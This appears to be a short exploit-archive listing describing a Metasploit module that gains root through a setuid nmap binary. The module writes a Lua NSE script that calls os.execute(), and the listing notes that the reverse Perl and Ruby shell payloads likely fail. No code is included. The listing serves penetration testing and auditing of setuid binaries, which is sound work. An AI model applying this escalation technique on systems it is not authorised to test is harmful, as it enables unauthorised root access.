Setuid Nmap Exploit

Setuid Nmap Exploit
Posted Jul 19, 2012
Authored by egypt | Site metasploit.com

Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This Metasploit module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work.
